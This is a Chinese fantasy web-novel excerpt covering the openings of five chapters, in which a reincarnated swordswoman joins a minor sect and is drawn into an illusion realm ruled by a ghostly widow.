《经常帮捉妖的漂亮师妹》 1. 闻樱 《经常帮捉妖的漂亮师妹》全本免费阅读 篁竹婆娑,幽烛明灭。 幽闭荒凉的屋内仅有一扇小窗,窗外似乎是一个多雨的阴天,这雨要下不下的,黑云翻墨,并没有多少光透进来,空气中弥漫着浓郁雨气,也不知是骤雨初歇,还是风雨欲来。 屋内点了一支漆红的蜡烛,滚落的蜡油像是怨鬼落下的血泪。 闻樱静静躺在榻上,看不清面容的妇人倚坐榻边,细瘦皙白的手有一搭没一搭的拍在闻樱身上,似乎是在哄闻樱睡觉。 她红唇开合,声音娓娓,如情人耳边呓语。 “……那是一个午后,天上的织女同其他仙子下凡,于河中沐浴。牛郎听从老牛的指点,在那些女子脱下的衣物中取走了那件粉色羽衣。仙子们见有人来,纷纷穿上自己的羽衣飞走,唯独织女找不到自己的羽衣,这时牛郎将羽衣归还,并要求织女嫁与自己。” “然后呢?阿母。”闻樱困极,打了个哈欠,眼角沁出泪水。但她还未听完故事,便催促道。 而女人没有再继续说下去。 她就这样沉默着,于黑暗中幽幽注视着闻樱。 这样安静的气氛让闻樱感到一丝微弱的不妙。 “然后,织女回归天庭。” 女人顿了顿,忽然笑了起来。起初只是低声呵笑,不知为什么,女人的笑愈发大声起来,笑声在小屋内游荡,令人毛骨悚然、 “不过呀,临行前,她一刀砍下了牛郎头颅。”女人笑着讲完了这最后一句。 天边一道银蛇般的电光流窜而过,屋内忽而乍起凄厉的光,照亮了面前女子的面容,鬼灯一线,面似般若,青面獠牙,宛若厉鬼! 闻樱惊叫一声,猛然坐起。 她深吸几口气,压下心中惊慌,直到被噩梦惊起的寒毛重新抚平,她低头打量自己的双手。 这不是她的手。比起她熟悉的那双手,这手明显小了一号。且原本属于她的那双手,长满了厚重的老茧,尤其是食指关节和虎口处,因为那是一双常年握剑的手,而现在这双手,分明是个练剑新手。 新的不能再新的那种。 屋内有镜子,闻樱揽镜自照。 镜中少女容颜陌生,但生得十分漂亮,少女有一身颀长纤薄的骨,这样薄如云的骨架,和清瘦流畅的鹅蛋脸,若是能搭配一副素淡的五官,倒是很有古画神女的韵味,然而女子却突兀的生了一套南辕北辙的配置。 浓墨重彩的眉眼,如一把锋利的刀,搭配清淡的轮廓,却碰撞出一种奇异的美感。 闻樱对着镜子里的女子久久沉默,她隐约记得自己死了,死在冥河边。 魔主现世,修界下令与人界合作,围剿魔主。人魔力量悬殊,本是无力一战的,即使上阵,也只是枉死而已。 可修界掌门们并不这么认为,即便这些凡人没有灵力,在战争面前,也能成为肉盾一样的存在。一具尸体不行,那就两具,层层叠叠,成为一道血流成河的防线。 修士在这道防线的后方干扰魔主,你来我往之下,魔界竟然真就落入颓势,魔主将真身化作几道投影,坐镇重要的战役,以此减少魔界伤亡。 就在这时,玄剑宗掌门召集门内精锐弟子,集结成一只精英小队,魔界之主将灵力一分为多,真身正是虚弱之时,而他希望这只精英小队能够潜入魔界,刺杀魔界之主的真身。 虽然战术是偷袭,但掌门说了,成大事者不拘小节。 闻樱和顾其渊作为怀若仙尊的亲传弟子,授命成为带队之人,前往冥河,然而一向神龙见首不见尾的魔主,还真给他们找到了。 魔主就在冥河岸边,长发披散,红眸妖异,持剑而立,看到闻樱他们也丝毫没有害怕退缩之意。 黑云漫卷,深深压下,风云变色,似乎下一瞬天地将倾。 顾其渊这小子估计这几年没少偷懒,连两招都没在魔主手中过去,便昏死在旁。闻樱和魔主过了两招,魔主却无意再战,直接将闻樱拉入自己结界之中。 魔主的结界中,环境恶劣,黄沙漫天,魔气猎猎,似小刀一般在闻樱身上刮出一道道数不清的血痕。 闻樱知道,如果放任魔主逃走,人修两界必将大乱,于是她以身祭剑,献祭剑骨灵脉,将魔主封印。 封印魔主的那一刻,她对上了魔主的眼睛,里面并非恐惧,并非愤怒,也非绝望,而是一种若有所思。似乎有哪里不对,然而闻樱来不及细想,便失去了意识。 她死了,应当是死了,以身祭剑根本没有活下来的可能,所以她是死了之后,重生到了现在这具身体上? 闻樱扣下镜子,在这具身体随行的包裹中翻找,找到了一只刻着闻樱二字的羽铃,片刻,她将这只羽铃收握在掌心。 这具身体叫闻樱,而且已经是得了修仙之道的修士。 羽铃是锁灵渊特有之物,世人若想寻仙问道,只能去锁灵渊,那里灵气充沛,曾飞升过无数大能老祖。锁灵渊内设多个门派,其中以玄剑宗为首,下设十三峰,峰内亦有数不清的弟子修士,数目庞大,闻樱曾经就是玄剑宗怀若仙尊的亲传弟子。 原主有羽铃,证明也是拜入锁灵渊之人,只是不知道她拜入的是哪门哪派,修的又是何道。 而包裹里东西了了,并没有太多能让闻樱判断形势的东西。 闻樱将东西收好,沉入灵府,果然在里面找到了一个酣睡的懒鬼。 懒鬼是一只四肢短胖的小精灵,看上去像是哪个小孩缝的布娃娃,红唇齿白,煞是可爱,只是小孩缝的时候许是贪心了些,塞了一把又一把棉花,将娃娃填充的又圆又胖。 她抓着懒鬼的辫子,懒鬼顿时醒了,哎呀哎呀的叫着,说:“大胆!你知道我是谁吗?” 闻樱见她醒了,无奈地将她放在地上,道:“醒醒吧十鸢,给我解释一下现在的境况。” 懒鬼叫十鸢,十鸢看到闻樱,霎时醒了个七七八八,欢喜地飞到闻樱身边,道: “你终于醒了,你不知道我这几天是怎么过的,每次醒来你都睡着,我差点都以为你死了,我才刚成为你的剑灵,以为我大业未成你就提前挂掉了,前几日我都寻思着重新投胎去算了。” “你既然中途醒着,我倒是想知道我这几天是怎么过的。”闻樱扬扬下巴,示意她好好说说。 十鸢眼睛转啊转,忽然绕着闻樱飞了一圈,问: “我以前听过一种术法,能重塑灵体,将死人复生,但此法极凶,用此术之人也将遭受反噬,即便是深爱之人,也未必能有魄力为其做到如此地步。我说,你不会是以前在哪里当了情种忘记了,然后人家一往情深的复活你吧?” “有吗?”闻樱想了想,好像完全没这回事。她前世整天忙着卷修为,哪有时间找一个肯为自己重塑灵体的人,“为什么这么说?” “因为这些天一直都是一个田螺姑娘,不,应该说是田螺公子来看你啊,他每日傍晚都来,看你半个时辰,便又来去匆匆,听小二的意思,这屋内陈设都是他付的钱。” “那我倒应好好感谢一下这位公子。”闻樱得到了答案,又问十鸢,“你为何不以实体相见?” 十鸢无奈道:“我附在婴宁剑上,而你的婴宁剑现在还不知在哪儿呢,我只能暂居你灵府之内,等你找到婴宁剑,我自然能凝聚实体。” 顿了顿,她又说:“不过我和婴宁剑之间有感应,它应当离此地不远。” 婴宁剑就是闻樱以身祭剑的那把剑,她倒是不知道婴宁剑在自己死后去了哪里,不过此剑性凶,凡间能留此剑之地绝无仅有,十鸢说离此地不远,而此地正是人界与锁灵渊的分界线,临安镇,那么婴宁剑应当是重新被收回了锁灵渊。 无主之剑,重归剑冢。看来她得找机会去一趟剑冢,把婴宁剑找回来。 现在还未到十鸢所提及的傍晚,闻樱浸入识海,识海中是一颗刚发芽的树苗,闻樱将手放上去,树苗亲昵的伸出枝桠碰了碰她的指尖。 凡是修士,迈入仙途后,识海内都会有这么一棵树。此树名为八荒树,随着修为精进,这棵树会日益壮大,乃至枝繁叶茂,每一条延伸出去的枝桠,都是修士的灵脉。 前世闻樱的八荒树已 2. 天赋 《经常帮捉妖的漂亮师妹》全本免费阅读 临安镇还是熟悉的摸样,闻樱曾多次往返锁灵渊与凡世,这里的一花一木她再熟悉不过。 从此地往东走,过一条街,街上有一家酒肆,那是整个临安镇最大的酒肆,老板娘泼辣豪爽,酿的一手醇厚的桃花酿; 往北走,有临安镇最大的戏院。闻樱前世活了许多年,唯一一次去听戏,还是陪着小师妹一起,然而听完小师妹回去就生了一场大病,怀若仙尊罚她长跪七日,在那之后她的腿总在雨天隐痛不止。 再顺着面前这条路往前走,有一颗长了足足有两百年的大榕树,需得有四五个人才能合力抱住,可见树干该有多么粗壮。 而有一年冬天,她从凡世回来,路过这里时,树下有一个少年吹埙。 不知是手法生涩,还是指尖已经被冻得没有知觉,玄清宗弟子都说是少年以仙乐得了闻樱青眼,其实并非如此,平心而论,吹得还是挺难听的,只是闻樱停下脚步,是因为她看出少年快要冻死了。 也许在今日,也许在明日,总之时日无多。 于是闻樱将少年带回了玄剑宗,他成为了怀若仙尊第四个亲传弟子,萧凡。至于后来的事,就是一些陈词滥调了,闻樱顿了顿,没有再往下想。 而今吹埙的少年已一跃成为人上人,腾出的位置也已被说书人占据,闻樱正要往前走,忽然又停住了脚步。 “上回说到,顾其渊带领一众修士,深入魔域,于冥河边遭遇魔主真身,上去便是刀光剑影,打的是酣畅淋漓,不分你我,无人能看得清他们的招式,无人能看得清顾其渊出剑的速度。 初时顾其渊尚且难以招架,然而在打斗中,顾其渊顿悟破境,当场迈入六阶,局势反转,将魔主打的节节败退,最后将其斩于剑下,这才有了我们如今的盛世,如今的太平。” 有不少人围着说书先生听的仔细,听到顾其渊将魔主斩杀,不由欢喜地鼓掌称赞。 “顾仙人不愧是怀若仙尊的孩子,果然虎父无犬子!” “你瞧这画像上,这眉毛,这鼻子,这眼睛,俊啊!也不知本人是否如画像这般俊俏。待我回去把这个贴屋里头,日日观瞻,保佑我儿也能拜入锁灵渊,修得正道!” “我见过顾仙人,本人长得比画像上俊俏多了,画像可画不出他半点神韵。” 闻樱垂下眼,从地上捡起一张顾其渊的画像。画像上是熟悉,又有些陌生的面孔。 一路惜字如金的姜伞忽然出声:“你也觉得魔主是他杀的吗?” 闻樱抬头,脸上已经带着乖巧娴静的笑:“信呀,怎么不信呢?难道师兄不相信是他杀的吗?” “我和他在演武场打过,水平不高,连我都打不过。” 闻樱唇角微微一扬。她没想到这么久过去,顾其渊依旧是一只菜鸡。姜伞说的没错,以闻樱对顾其渊的了解,别说杀魔主了,不反过来被魔主千刀万剐都是他福大命大晕的快。 她将那张画像轻轻搁置在桌上,淡淡道:“其实他究竟能不能打得过魔主,并不重要,魔主已死,此事已死无对证,事后深究,也只是枉做无用功罢了。 当男人掌握了书写历史的权力,他们将自己的胆小怯懦从字里行间隐去,下意识的去遗忘自己被女人打的屁滚尿流的狼狈模样,给自己树立一个雄厚伟岸的形象。甚至说多了,连自己都把自己套进那个雄厚伟岸的壳子内。” 闻樱说完,自己没忍住笑了一下。她看着姜伞,轻轻眨动了一下眼,眼里写满了无辜,似乎刚才指桑骂槐的不是她一般。 姜伞静静看着她,忽然说道:“你说的好似很懂男人一般。” 闻樱轻描淡写道:“我有个朋友甚爱研究话本,听她说多了,便也能说上两句。” 在闻樱灵府内翘着二郎腿翻看话本的十鸢猝不及防地打了一个喷嚏。 不过闻樱留意到那句姜伞所说的,顾其渊连姜伞都打不过。那看来他们这个门派还不至于太寒碜,姜伞都能打得过顾其渊这个不知道用了多少天才地宝的暴发户,那还是很有水平的。 这个认知持续到闻樱看到门派大门的那一刻。 空气中似乎有什么东西静静的碎掉了。 “这就是我们师门吗?”闻樱站在高高的匾额下,打量着匾额上的三个字,问道。 姜伞轻车熟路地进去,闻樱看着他的背影,悬了一路的心终于死掉了。 她小跑两步重新和姜伞持平,开始睁眼说瞎话:“上面那字是谁写的,潦草中带着一丝随性,随性中带着一丝狂放,第一次来的人想来得思索许久,上面写的究竟是现冰楼,还是现咏楼。” “是饮冰楼。修炼之路清苦难耐,恰如饮冰茹檗。” 那还确实挺清苦的。闻樱回首看了一眼那个牌匾,不知道是从哪里找来的板子,上头刷的漆都斑驳了两块。饮冰楼这三个字她更是闻所未闻,不过锁灵渊内门派林立,她没能记住太多也实属正常。 闻樱随姜伞去了外门弟子安置的地方,一路上没看见多少弟子,这里房屋也大多空着。和玄剑宗一样,无主的屋子设下禁制,以羽铃开启。 “先前饮冰楼收了不少弟子,但大多跳槽去了其他门派,这里便闲置了下来,所以这次掌门才扩大了招募的人数,待你放下东西,还需去玉虚境测和众道的契合程度。” “师兄你呢?与你最契合的道是什么?” “我也没测,所以需要一同前去。” 原来两人都是新弟子,只不过报名分了先后罢了。而刚入门就事事了解的如此详细,委实不易,闻樱对他刮目相看。 闻樱找了屋子放下东西,快步和姜伞往玉虚境走去。 玉虚境设在玄剑宗的地盘,闻樱没死之前,她还是每年玉虚境的监审,其实这差事本不是她的,这是个枯燥乏味又没什么含金量的差事,前几年大多交由管事来盯着。 每年锁灵渊招收的人大致分两种,一种是修士的子女,俗称修二代,另一种则是凡间舍得花大把银两把孩子送进来镀个金的纯有钱人。虽然人修两界各居一隅,但也少不了金钱往来。金钱自古在哪里都是硬通货,即便是修士,也不能幸免。 除此之外,亦有凡间弟子寻仙问道,深入灵渊,但这样的例子少之又少,每年能自己找到锁灵渊通过考验拜入门内的凡人一只手都数的过来。 而后来,闻樱每年出去问世总会从凡间带回一两个于修行一事上天赋不错的普通人。他们交不起足够的银钱,也在锁灵渊没有深厚的根基,进来完全就是白吃白学,顾怀若和掌门林舟为此找她谈过几次,但都被闻樱四两拨千金的将话推了回去。 掌管玉虚境的管事亦是左右为难,一个是弟子中的佼佼者,身负剑骨的绝世天才,另一边则是积威深重的前辈,谁他都不想得罪,便将玉虚境的差事推给了闻樱,这样既不用上报闻樱带回来的人数,也不必得罪两边人。 闻樱这个差事做了许多年,就是不知道她死后,又是谁接手了这个差事。 待闻樱与姜伞抵达玉虚境,发现已经来了许多人,即便每个门派收的人不算多,但星星之火足以燎原,加在一起也是不小的人数。 玉虚境是一个庞大的六芒星阵法,每一个顶点代表着主流的大道,有剑修,法修,器修,咒修,体修,辅修六个。每条连线的交点又是一些分界模糊的,但修炼人数不少的修行道路,例如剑修器修相交线上的两点代表的是刀兵和弓兵,证道的武器不同,亦不如剑道闻名,但锁灵渊内刀兵弓兵不在少数,甚至每个门派都设置了相应的教习。 六芒星阵法正中,弟子将刻有自己名字的羽铃放入,很快就能得到自己和各道的契合程度。 这么些人,一天就足以全部查完。 规定的时间一到,玄剑宗负责监审的人准时抵达玉虚境。为首的是个妙龄少女,粉衣娇俏,面容姣好,她身后跟着几位身穿玄清宗道服的弟子,清一色的雪白道服,上面绣了大片的天目玉兰,清简 3. 善恶之境 《经常帮捉妖的漂亮师妹》全本免费阅读 待异象平复,玄剑宗修士正要上前查看结果,顷刻间地动山摇,天地将倾,玉虚境有隐隐破碎之势。 就连顾怀若也鲜有的面色凝重起来,站起,将宁红玉护在身后,问道:“发生了什么事?” 玄剑宗弟子在这动摇中连平衡都难以维持,艰难地说道:“仙尊您都不知道,我们这些小喽啰怎么能知道发生了什么?” 这动静自地底深处传出,似有万鬼嚎哭,连顾怀若这个一方大能都承受不住,更别提修为还不如他的那些弟子,不知人群中谁说了一句:“这下面埋葬的究竟是什么?” 顾怀若惊愕。 玉虚境之下,埋葬的是藏剑冢,再往下,是维持锁灵渊运转的护门法阵。 无论是哪一个发生异变,情况都不妙。 正当他准备前去一看时,灵力似清波在玉虚境内浮动起来,玉虚境内原本飘飞萦绕的云絮,逐渐变化透明。 玉虚境也呈现出了它原本的样貌。 如同一个倒扣在地上的玉碗,将境内所有人包裹起来。 闻樱仰头望去,玉碗变换,似乎地底还有另外一个与之相接的玉碗,两个碗合成圆。 此刻两只碗位置颠倒,地底那只碗正逐渐浮出水面,而原本他们所处的环境,如落日西沉。 她不动声色地将手放在剑上,待到两只碗交替完成,她的眼前陷入了混沌的黑暗。 而留在外面的人,总算获得一丝喘息的机会,还不等松口气,就见原本阵法中心的弟子消失了几人,其中就有闻樱。 “玉虚境启动了。”顾怀若望着阵法中央,低喃道。 “那消失的这几人是……”相比于玉虚境,宁红玉更担心消失的几位弟子去向。 “如果没有猜错的话,应当是被拉入境中。不过无妨,玉虚境是善境,不然宗内不会留有这么一个隐患在此地,更不会将其作为测试天赋之地,待到他们之中有人破局,自然会出来。” 顾怀若并没有将这几名弟子看在眼里,他面色凝重地吩咐道:“你们几人去通知诸峰长老,一同商讨方才异动。” 他回身,对宁红玉说道:“我去护门阵法看看,以免阵法出现差错。今日之事现暂缓,红玉,你回去好好待着,在没有查清楚原因之前,不要出来随意走动,以免受伤。 ” “可是。”宁红玉话没说完,顾怀若便消失了。 可是,哪怕是善境,也会死人的啊。 若是他们其中无人能破局,这几位失踪的弟子,都将困在善境中,等待下一个破局之人的到来。 * 闻樱醒来的时候,感觉整个人头痛的将要裂开。 “姑娘,你没事吧?” 温柔秀美的妇人腕上挎着篮子,蹲下身,关切地看着她。 银钗在妇人发间折射出细碎的光,流苏轻轻摇缀。她打扮得很素净,身着青色丝绢襦裙,外披靛蓝披帛,虽然看起来浆洗多次,但整齐熨帖,暗香浮动。 女人见闻樱醒了,伸出手想要扶她,闻樱摇头,推开她的手道:“我自己可以。” 说罢,她自己趔趄地从地上爬起,拍去身上浮土。 女子服饰为前朝制式,在她身后是熙攘热闹的大街,人声喧闹,华灯连彩,她刚才躺着的,是大街正中央,也难怪妇人着急,若是有人当街纵马,她现在应当已经是一块现成的肉饼了。 她先谢过妇人好意,又打量四下环境。身边经过的每一个人,都栩栩如生,看不出任何破绽。 这样繁华的景象曾经是真实存在的。 这是玉虚境主人的回忆。 而此地,应当是真正的玉虚幻境。 玉虚境发生异动的时候,闻樱便猜到是玉虚境被境主启动,但究竟为何启动,现在还不得而知。 想要出去,只能找到破局的关键。 闻樱回想了一下关于玉虚境主的事情,她知道的并不多,只知道似乎是玄剑宗某位大能的妻子,死后仙者大恸,将妻子的尸骸带回玄剑宗安葬,希望天地灵气能温养妻子骨骸,祈求来世续缘。 时日见长,此地便形成了善境。 世间有境者无数,分为善恶两种,善境相对安全,但若不能破境,也只能残留境中,等待破境之人的到来。凶境则凶险万分,稍不慎者,即会殒命。 玉虚境能形成善境,境主应当无怨,加之玄剑宗大能的深情,此事也在锁灵渊乃至凡间,成为一段佳话。因为出了名,便将其选做为新入门的弟子测试天赋之地。 此境不凶,闻樱稍稍松口气,她现在修为低下,所能依靠的只有前世修习过的体术剑法,若是凶境,她未必能应付的过来。 她在整理知道的信息,而这神情落在妇人眼中,便是茫然不知来路。 人对漂亮的事务总是会感观更好些,妇人也不例外,闻樱秾艳的样貌,在华灯辉映下,美的惊心动魄。 于是妇人主动说道:“姑娘是不知道该去何处吗?还是身体不适?等下便要宵禁,姑娘若是不知道去哪里,可去我家将就一段时日,等到身体养好,再动身不迟。” 闻樱迟疑片刻,谢道:“多谢夫人善举,在下感激不急,只是此去可会叨扰夫人?” “不妨事,反正我家中经常只有我一人,我夫君并不常在,我看姑娘总有种熟悉感,姑娘能陪我,我很欢喜。” 闻樱顺水推舟,答应妇人去她家住下。 一路上,两人免不了闲聊。 闻樱从妇人口中得知,如今是嘉德盛世,闻樱算算,竟然已经是两百年之前。除此之外,她还得知了妇人的姓名,妇人叫素素,现在一人居住在城郊。 屋舍虽小,但收拾的很妥贴,其中能看出有男子生活的痕迹。院中种下许多草木花卉,屋子建的也很漂亮,白墙黑瓦,花草映照,很有温馨之意。 素素请她进门,见闻樱打量屋子,言语里忍不住带上一丝甜蜜:“我父母没得早,一人活了许多年,后来成婚,这屋子还是夫君帮我砌的,他虽看起来 4. 阴宅 《经常帮捉妖的漂亮师妹》全本免费阅读 那只眼珠也没料到她连怕都不怕,二话不说直接动手。 在闻樱刺过去时,邪物消失,仿佛没有存在过。 闻樱将剑折在身后,另一只手猛然推开轩窗。 外面空无一物,倒是下起了大雨,噼里啪啦的如碎玉滚珠般落下。 闻樱目光落在地上,有屋檐遮挡的地方本应干爽,此时那片地上却有湿腻的水渍。 那不是错觉,确实有东西来过,但现在四下已经没有了妖气,应当已经走远。 闻樱将窗户重新合上,浅眠被扰,此时也已再难入睡。闻樱索性听着雨声入定,挨到天亮。 修仙之人,即便一夜不睡也无妨,待到天边露出鱼肚白,主屋那边传出人走动的声音。闻樱将灵气重归灵府,整理好衣裳,也推门出去,制造了一个偶遇。 素素见她醒来,关切问:“昨夜歇息的如何,床可还睡得惯?” 闻樱不愿让她担心,便撒了个小谎。 毕竟从气息上来看,素素是一个毫无恶意的凡人。 她随素素去了厨房,看素素烧饭,闻樱坐在一旁帮她烧火。 柴木扔进去,火星爆裂。 闻樱习惯主动出击,她似无意地打听:“夫人,您时常独居,没想过学点武功傍身吗?” 素素搅动着锅中菜粥,闻言说道:“说来惭愧,我父母都曾是剑客,只可惜他们去得早,独留我一人,活下来已经很难了,我于剑之一道上更是毫无天赋,便没有继承他们二老的衣钵。” “抱歉。”闻樱没想到这个话题会牵扯到她父母。 “无妨,这事都过去十余年,我早已经想开。现在的日子过得平淡温馨,我也不奢求更多。我平日里与人为善,应当不会有人来找我麻烦,若是实在找我麻烦,我便找我夫君,他有一身好武艺,定会救我于危难。” 闻樱注意到她总是提起她夫君,顺着她的话说道:“听起来夫人同令夫关系很好。” 素素将锅盖盖上,坐到了闻樱身旁,闻樱担心糊锅,便将火填的小了些。 素素捧着脸,一脸幸福。 “夫君他对我很好,像我这样一穷二白,无父无母之人,从来没奢想过有人能看得上我,能遇到夫君这样全心全意爱我之人,我想应当是爹娘在天有灵,保佑我。” “那你们是怎么认识的?” 素素说的很顺畅,仿佛这段经历已经讲了无数次。 “那时我爹娘还没死,我因身子不好,被拘在后院,从未看过外面的世界,等待我的只有那四方天地。我知道爹娘是为我好,便也从未生出过逃出去看看的念头。 直到那日,冥冥之中仿佛上天推动一般,我感到胸口烦闷,推开窗想要透气,看到一个少年躺在树上,一手枕在脑后,另一手把玩着一朵西府海棠。” 月光通透明澈,满地玉碎银光,病弱少女抚着胸口,推开窗,看到了被枝叶掩映的少年。 “我问他在树上做什么,他说在晒月亮。”素素摇头轻笑,“晒月亮,我还是第一次听,但奇怪的是,同他说话,我的心口平静了许多,没那么沉闷。天亮之后他走了,窗边留下了那支海棠。” “在那之后他每日夜里都来,每次走都会留下些什么。有时是糖人,有时是果酿,总之都是一些外面的时兴玩意,我长这么大都未曾见过。再后来,他问我想不想出去走走。我很好奇外面的一切,他便开始带着我偷溜出去,带我看戏,放花灯。 我第一次觉得,原来人生在世,也可以如此自由,如此肆意,而非一个被囚禁的傀儡。只可惜因为外出太频繁,我没多久便病倒了。也是那时,家中被仇家寻上门,母亲拼死送我离开,我流落此地,便定居于此。” 闻樱是一个很好的倾听者,她总是会在恰当的时候,示意素素继续讲下去。 “我本以为那段时光只是我年少的一场幻梦,梦如流水所逝,此后天大地大再难遇见,却没成想重逢并未让我等很久。 那日我在门外看到了晕倒的夫君,他身受重伤,血流不止,我险些以为他要死了,找了许多大夫来为他医治,所幸无碍,他捡了一条命,待他醒来之后,见到是我,直接叫出了我的名字。我那时很开心,因为都分开这么久了,他居然还记得我的名字。” “再后来,他的伤实在太严重了,我便留他在我这里住下养伤,也好照拂一二。” 后面的事情也顺理成章,少男少女,同住一个屋檐下,暗生情愫,结为连理。 听上去是一个很好的故事,二人缘分天定,兜兜转转,竟还能遇到彼此。 素素讲完,起身掀开锅盖,粥已煮至浓稠,她尝了一口,道:“味道还不错,等下去给隔壁邻居送一碗。” 闻樱忽然开口:“夫人是明月山庄庄主之女,姜素,对吧?” 素素握着的勺子忽然跌回锅里。 “夫人不必多想,我只是从夫人的身世中推测得出。我与明月山庄并无冤仇,此事也是在玄剑宗藏经阁读到过。”闻樱对她安抚一笑。 传言明月山庄亲族一脉生来便是纯阴之体,八字轻,易招鬼,成年之前都被安置在后宅,后宅曾请玄剑宗长老管絮设下温养魂魄的阵法,于固魂有益,待到十八岁后,才可以离开。 而素素口中的灭门时间,也与书中记载对的上,她又叫素素,就差把姜素两个字写在脸上。 “玄剑宗?”素素眼睛一亮,问道,“小鱼你是修士?” 闻樱默认。 素素擦干净手,拉起闻樱的手,声音雀跃:“我的长姐也在玄剑宗修炼,只是我们已经许多年没有联系,不知道她现在过得怎样,你能否回去的时候帮我打听一下长姐的下落,她是我在这世上唯一的亲人,我很担心她。” 闻樱没有拒绝,问:“她叫什么名字。” “她叫姜雉,是个特别厉害的人,应当不难打听。” 然而闻樱前世也没听说过叫姜雉的这么一个人,更别说是个天才。 要么是已经身死,要么便是籍籍无名之辈。 看素素与她姐姐关系很好,二人不应该会断联多年,那么只能是前者。 但闻樱没忍心,而是答应了姜素。 反正现在是在境中,姜素已经不知道外面过了两百年,只要不知道消息,那么对方就仍旧活着。 见闻樱答应,素素的开心溢于言表,扬言要将树下埋了多年的好酒拿出来和闻樱分享。 闻樱便替她去给邻居送粥,也想借此由头在周围打探一番。 比起素素家的体面,邻居的茅草屋就稍显落魄。 < 5. 图穷匕见 《经常帮捉妖的漂亮师妹》全本免费阅读 林妙音也被吓得不轻,说道:“要不你别回去了吧,回头你要是遭殃,光凭我俩那更是没有指望。” 闻樱摇摇头,说道:“我必须回去。” “为什么?”李却扇不解,她都说到这份上了,闻樱怎么还是要回去,那里面住着的想来也不会是什么好东西。 “我见到她的第一面,就试过她身上的气,气纯至善,没有一丝妖气。” “住在这样的凶宅之中,却又没有妖气,只有一个原因。” 林妙音听懂了闻樱的意思,她眼睛一亮,和李却扇对视一眼,眼中皆是欣喜。 二人同声道,“她是境主!” “是。”闻樱给出肯定的答案。 起初闻樱只是有些怀疑。她来到此境,没有身份,没有来历,那么遇到的第一个人,应当就是境主,但素素太干净了,没有一丝大妖之气,她又有些举棋不定,更别提在相处中,素素又是那么鲜活的一个人。 而真正让闻樱确定下来的,是林妙音和李却扇在这个善境中的身份,也与素素有关。 他们三人的交集,就是素素。 直到那时,闻樱才确定素素就是境主。 但破境,并非是知道境主就能解决问题,以他们现在的实力,想要直接武力推平,杀掉境主破境,还是太难。 于是闻樱送完饭后,还是选择回去。 两位孤女在她身后含泪望着,宛如目送壮士赴死。 她回去的时候,素素躺在院中海棠树下合眼假寐,看上去如一副平静如水,亘古不变的仕女图。 妃色花瓣在空中打着旋,悠悠落下,她躺在摇椅中,瘦小的身躯蜷缩在里面,襦裙逶迤,娴静美好。 闻樱走过去,在素素身边坐下,伸出手,一片花瓣落在她皙白的掌心。 脆弱,却鲜艳。 素素睫毛颤动,睁开眼。她倦极,打了个哈欠,娇声道:“你回来了,你去了好一会儿。” 她好像知道了什么,又好像什么都不知道一般。 闻樱没有将李却扇说的话讲给她听,而是说道:“关于你上午给我讲的故事,我有别的话想说。” 素素眨了眨眼,期待她的下文。 “你是明月山庄的小姐,自小锦衣玉食,山庄亦有修士无数,戒备森严。你为纯阴之体,庄主对你的呵护程度只会增,不会减。那么令夫是如何出现在山庄,又是如何准确无误地出现在夫人后院。” 素素嘴角噙着一丝笑意,说道:“你也觉得很凑巧对吧,我想这就是天定的缘分。” 闻樱长睫微垂,隐去唇边讽刺的笑。 “姜家后院是养气之地,对你百利而无一害,他却带你离去,耽误你清修,于你百害而无一利,这如何能算善举?” “小鱼妹妹,你误会他了。” 素素揽住樱肩膀,苦口婆心道,“我们那时年纪都小,哪里懂得好坏,玩心重,也没什么奇怪的。况且是我想和他出去,这都是我自己愿意的,与他无关。” 闻樱静静与她对视,忽然莞尔:“原来如此,抱歉夫人,是我多虑了。” 素素看上去并不记仇,微笑道:“我知道你是为我好,但我与夫君相处许久,对他的品性再清楚不过。夫君明日便要归来,我还希望看着你们二人和睦相处的样子呢。届时我温一壶好酒,烧几道好菜,介绍你们二人认识。” 她晃了晃手中的酒,正是她口中所言埋了许多年的好酒。 闻樱点头,仿佛刚才发问的人不是她一般,又将自己套回了那个温良无害的外壳里。 入夜,闻樱依旧打坐,因为昨夜的事情,便没再抱着休息的打算。 月上梢头,夜凉如水。 庭院中没有一丝脚步声,闻樱的门却被敲响。 “小鱼妹妹,你睡了吗?”是素素的声音,和白日听起来别无二致。 “睡了。”闻樱面无表情说道。 “……” 门口的声音沉默了一会儿,又甜甜道,“别开玩笑了小鱼妹妹,快放我进去,我知道你没睡。” 闻樱无奈地捏捏鼻梁,每到这时她都想,若是自己有那种倒头就睡的本事就好了。这种时候晚上睡得不省人事,倒也省事,可偏偏她是那种事情一紧急,就根本睡不着的人,倒让这东西几次三番地找上门。 “开门呀小鱼妹妹。”门口的东西锲而不舍,丝毫没有要离去的意思。 闻樱站到门后,没有说话。 素素家的屋门是两扇木板门,门后用一只木栓抵着,中间留着小指宽的缝隙。她透过那道缝隙向外看去,没有看到任何东西。 敲门声仍旧不停,闻樱道:“明日令夫就要回来了,素素,你不是要介绍我们二人认识吗?今日我想早睡,不然白日困顿,扫你兴致。” 敲门声停了,素素的声音听上去没有生气:“好吧,那你早点休息。” 总算是哄走了,闻樱回到床榻,继续打坐。 然而她刚坐下,支起的窗子处就塞进来一双眼睛。 和闻樱四目相对。 那双眼睛漆红如血,睁得极大,望着闻樱,静静流下两行血泪来。 女人的声音凄厉地哭喊:“你骗我。你骗我。你们都骗我!” 闻樱又一次提剑刺去,那双眼睛再一次原地消失。 她看到血泪滴在地上,化作一支娇艳的海棠。 * 待到天亮,闻樱倚在榻上闭目养神了一会儿,便换上素素赠给她的衣服,打开房门。 素素正在择菜,见她醒来,笑着问:“你醒啦?昨夜睡得怎么样。” “还好。”闻樱笑笑。 “可你看起来很疲惫。”素素担忧道。 闻樱正要洗脸,闻言借水照了照,道:“有吗?” 素素的声音冷不丁在她身后传来:“你不想先离开这里吗,小鱼。” “我还未见到那位夫人口中至善至美的夫君,怎能先行离去。” 有人轻轻叹息一声,闻樱转头看去,素素在笑,方才那一声叹息似乎与她无关。 闻樱洗漱完,素素将她叫过去,手里拿了一个梳篦,要为闻樱梳头。 梳子一次又一次梳到尾,冰凉的发丝从素素指间溜走。 素素垂着眉眼,神情温婉。 她穿着素色的衣裙,大袖飘逸,脸色越发苍白,唇瓣没有一丝血色,像是一只即将燃尽的蜡烛。 她在闻樱身后轻声说道:“我想,如果我有孩子的话,我希望她是像你一样的女孩。我小时候身体不好,哪怕到现在也未曾好过些许,姐姐总觉得亏欠了我,待我极好,常常来看我。 爹娘说,她生来便是拿剑之人,每每她拿起剑,我总觉得我与她的距离又遥远了许多,她那么耀眼夺目,而我因为身体不好,只能在无人之处修养。” 